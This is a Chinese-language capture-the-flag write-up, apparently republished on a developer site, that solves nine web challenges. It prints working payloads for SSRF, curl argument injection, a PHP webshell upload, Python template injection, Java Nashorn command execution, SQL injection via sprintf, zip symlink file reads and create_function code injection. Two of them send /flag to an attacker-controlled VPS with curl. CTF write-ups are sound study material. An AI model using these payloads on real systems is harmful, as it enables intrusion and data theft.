内容简介:本场比赛Web类题目共有11题,本WP仅写了其中9题,由于环境关闭,剩余两题未能复盘。cookie使用了jwt,爆破key并伪造role值为admin,登陆即可获得flag
本场比赛Web类题目共有11题,本WP仅写了其中9题,由于环境关闭,剩余两题未能复盘。
easyadmin
cookie使用了jwt,爆破key并伪造role值为admin,登陆即可获得flag
easygallery-1
HTML源码里面提示
<?php $flag='flag in the /flag';?>
还有一个如下链接: http://xxxx/gallery.php?path=http://127.0.0.1:8082/gallery/static/img/portfolio-1.jpg
猜测可能是SSSRF读取/flag。先在自己VPS上随便写一个 <?php phpinfo();?>
,然后让题目尝试加载
http://xxxx/gallery.php?path=http://VPS/index.php 发现是空的,怀疑是不是有后缀jpg限制,所以尝试
http://xxxx/gallery.php?path=http://VPS/index.php%23.jpg
发现题目成功访问了我的VPS,并获得了PHPINFO内容。那么接下来就同样尝试使用file协议读取/flag。这里之所以加一个%23,是因为在HTML中,%23是锚点,所以后端程序获得的path参数对应的值为file:///flag,而加了%23.jpg又可以绕过题目限制。还可以看一下后端是使用什么程序发起请求的:
最终payload: http://xxxx/gallery.php?path=file:///flag%23.jpg
easygallery-2
同样,在HTML源码里面有这样一个链接
http://xxx/download.php?f=http://127.0.0.1/img/portfolio-1.jpg
这次再使用file:///flag%23.jpg 会提示scheme error!,说明后端代码可能禁用了file协议。使用上题相同的方法,可以发现后台使用的是curl来访问我们的VPS。
猜测后台可能是直接用拼接字符串,然后执行curl命令。尝试访问 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+mochazz%23.jpg 发现其请求是 POST方式,所以这题很有可能是命令执行。
尝试使用 http://xxx/download.php?f=http://39.108.143.11:8888/index.php+-d+/flag%23.jpg 没有获得flag,继续尝试curl的-F参数。最终payload:
http://xxxx/download.php?f=http://VPS/index.php+-F+myflag=@/flag+-F+x=mochazz.jpg
easyupload
上传文件后没有回显文件地址,但以base64图片形式显示。page参数存在文件包含,但是过滤了://无法使用 php 伪协议读取源码。后台代码应该类似 include $_GET['page'].'.php';
。上传zip文件时,还会显示显示不允许的文件类型!upload jpg or gif。
上传图片处还有一个功能,可以填在线图片地址,我们可以通过这里结合file协议读取/etc/passwd
源码里面base64解密就是文件内容。尝试读取 /var/www/html/index.php 等文件都失败了,可能网站路径不是这个。但是我们可以通过 file:///proc/self/cwd/index.php 获得index.php文件。在 linux 中,每个进程都有一个PID,而/proc/xxx/下存放着与该进程相关的信息(这里的xxx就是PID)。/proc/xxx/下的cwd是软链接,self表示本进程。当我们通过访问Apache运行的网站时,/proc/self/cwd/就相当于apache的根目录,例如我本机Apache的根目录是/var/www/html
file:///proc/self/cwd/index.php
file:///proc/self/cwd/upload.php
这题我们前面说过可以直接添加GIF89a上传图片马,接下来就是要找到图片路径了。
路径定义在upload.php中,关键代码如下:
$name= $_FILES['pic']['name']; $ext = pathinfo($name,PATHINFO_EXTENSION); $filename=basename($name,$ext); $rootpath=$ddir.md5($filename).".".$name;
这样我们就可以获得图片路径了 /proc/self/cwd/$rootpath
。接下来直接利用题目最开始的文件包含 http://xxxx/index.php?page=submit 但是这里还有一个坑。坑在upload.php中有这样一段代码:
if(preg_match('/^ph(.*)$/i',$ext)){ if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml','phps'])) { file_put_contents($rootpath,preg_replace("/\?/","",file_get_contents($rootpath))); } }
会把文件中的 ?
号给去掉,所以我们不能用 <?php phpcode;?>
这种写法,而要用 <script language="php">phpinfo();@eval($_GET[_]);</script>
接着直接包含即可执行命令:)当然,也可以不使用包含,直接访问马的路径。
fast_calc_2
请求包类似:
POST /calc.php HTTP/1.1 Host: b4b74052eed440eb9c7899c932f61b6ce79f555733524dc2.changame.ichunqiu.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=16b3177db8f50f-05893ba84daad1-1b29140e-100200-16b3177db90396; pgv_pvi=517607424; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1559903068,1560408162; __jsluid=ab86d4cd5c34bd66f80a8891dc2e731e; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1560434036 Connection: close Content-Type: application/json Content-Length: 27 {"target":"/","expr":"1+1"}
fuzz一下,发现可能是 python 的SSTI
发现ban了 []
,于是本地测成功一个payload
''.__getattribute__('__class__').__base__.__getattribute__(().__class__.__mro__.__getitem__(1),'__subc'+'lasses__')().__getitem__(40)('/flag').__getattribute__('read')()
但是题目提示没有 __base__
属性,怀疑该属性应该是被ban了。
后来队友测出直接用open方法,用空格隔开方法名和括号即可直接读取flag。
然后看了一下源码
/proc/self/cwd/calc.php
<?php $data = file_get_contents('php://input'); $data = json_decode($data,true); $encode_data = base64_encode($data['expr']); system('python ./final.py '.$encode_data); ?>
/proc/self/cwd/final.py
fast_calc_1
初步判断,后端代码可能用的是nodejs或者JavaScript。
尝试用Object.getOwnPropertyNames(this).join(‘::::::’)读取一下this对象属性,发现有java
再次尝试java.language.String,可以确认后端用的是 Java 了
Java中有一个新特性可以把JavaScript转成Java代码,所以这里可以执行JavaScript,即Nashorn
接下来尝试使用java代码读取flag
POST /calc.php HTTP/1.1 Host: xxx Content-Type: application/json {"target":"/","expr":"java.lang.Runtime.getRuntime().exec('curl VPS -d @/flag')"}
easysqli
两个点:
- username和password经过addslashes函数处理。
- 当username为admin时,会显示后台执行的 sql 语句。
利用条件比较苛刻,所以正常的SQL注入姿势是绕不过的,只能想到配合sprintf字符串格式化漏洞进行绕过,具体参考: https://paper.seebug.org/386/ 。猜测后台代码应该类似这样:
$user = addslashes($_GET['user']); $pass = addslashes($_GET['pass']); $sql = sprintf("select * from users where username='%s' and password='$pass'",$user);
最终利用payload: http://xxxx//result.php?user=admin&pass=%1$'=0#
parser
题目附件:
https://pan.baidu.com/share/init?surl=2_-7WPVSIgf7uCQuPk2wMA 密码:qppg
我们需要把解析后的AST文件翻译成PHP代码。
比如上面这段代码,翻译成PHP代码类似:
try { ('var_'.$_GET['num'])('cat /flag'); } catch (Exception $e) {}
具体参考: https://github.com/nikic/PHP-Parser/blob/master/grammar/php5.y
上面的代码告诉我们,肯定有一个变量var_xxx其值可以为命令执行函数,例如:system函数。那么我们先来看一下这些var_xxx变量的命名规则:
可以看到 var_
后面基本上跟的都是数字,那这题就很简单了,直接用BurpSuite爆破就行了。如果这题 var_
后面跟的是不规则的字符,那可能就要全部还原一下PHP代码了。
easymanager
题目提示:一个内部站点 所以可能存在内网。注册用户后登录,查看页面源代码会发现一个hint
hint: function.php source code may help u 发现存在 function.php~
文件。
访问 http:///xxxxxx/index.php?page=host ,会提示Permission Deny! 根据上面代码开头check_url函数可知,程序使用parse_url来解析url,而parse_url函数存在bypass。于是访问 http:///xxxxxx///index.php?page=host
虽然是显示404,但是这个页面的源码中又有提示:
<!-- Under repair .. host page can be access temporarily via 70b185c80f225924f86d4a1dedddd120.php -->
直接访问 http://xxxx/70b185c80f225924f86d4a1dedddd120.php 会提示you can not visit it directly。所以我们要 http://xxxx/index.php?page=70b185c80f225924f86d4a1dedddd120 这样访问。
发现可以上传zip格式文件,那就可以考虑一下zip协议。上传一个zip压缩马,会发现其会读取zip文件的内容。
那么我们可以尝试创建软链接文件,将其打包成zip并上传,这样就可以读取网站源码了。例如下面读取index.php源码。
index.php
host.php、function.php
/etc/apache2/sites-available/000-default.conf
尝试读取 /flag
没读到。发现/etc/apache2/sites-available/000-default.conf中有/var/www/html/m4nag3r_u_dont_know目录,访问 http://xxxx/m4nag3r_u_dont_know/index.php 出错,那么尝试读取/var/www/html/m4nag3r_u_dont_know/index.php源码
// /var/www/html/m4nag3r_u_dont_know/index.php <?php create_function($_REQUEST['func'],'flag'); ?>
最后就是create_function代码注入了
http://xxxx//m4nag3r_u_dont_know/?func=){}system(%27ls%20/%27);//
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 第12届全国大学生信息安全竞赛Web题解
- 竞赛推荐 | ChinaMM2019 竞赛-1:水下图像增强
- 包容性图像竞赛
- 试试 kaggle 竞赛:辨别猫狗
- 进入 kaggle 竞赛前 2% 的秘诀
- 军备竞赛:DDoS攻击防护体系构建
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++标准模板库编程实战
Ivor Horton / 郭小虎、程聪 / 2017-1
《C++标准模板库编程实战》介绍最新的C++14标准的API、库和扩展,以及如何将它们运用到C++14程序中。在书中,作者Ivor Horton 则阐述了什么是STL,以及如何将它们应用到程序中。我们将学习如何使用容器、迭代器,以及如何定义、创建和应用算法。此外,还将学习函数对象和适配器,以及它们的用法。 阅读完本书之后,你将能够了解如何扩展STL,如何定义自定义类型的C++组件,你还将能够......一起来看看 《C++标准模板库编程实战》 这本书的介绍吧!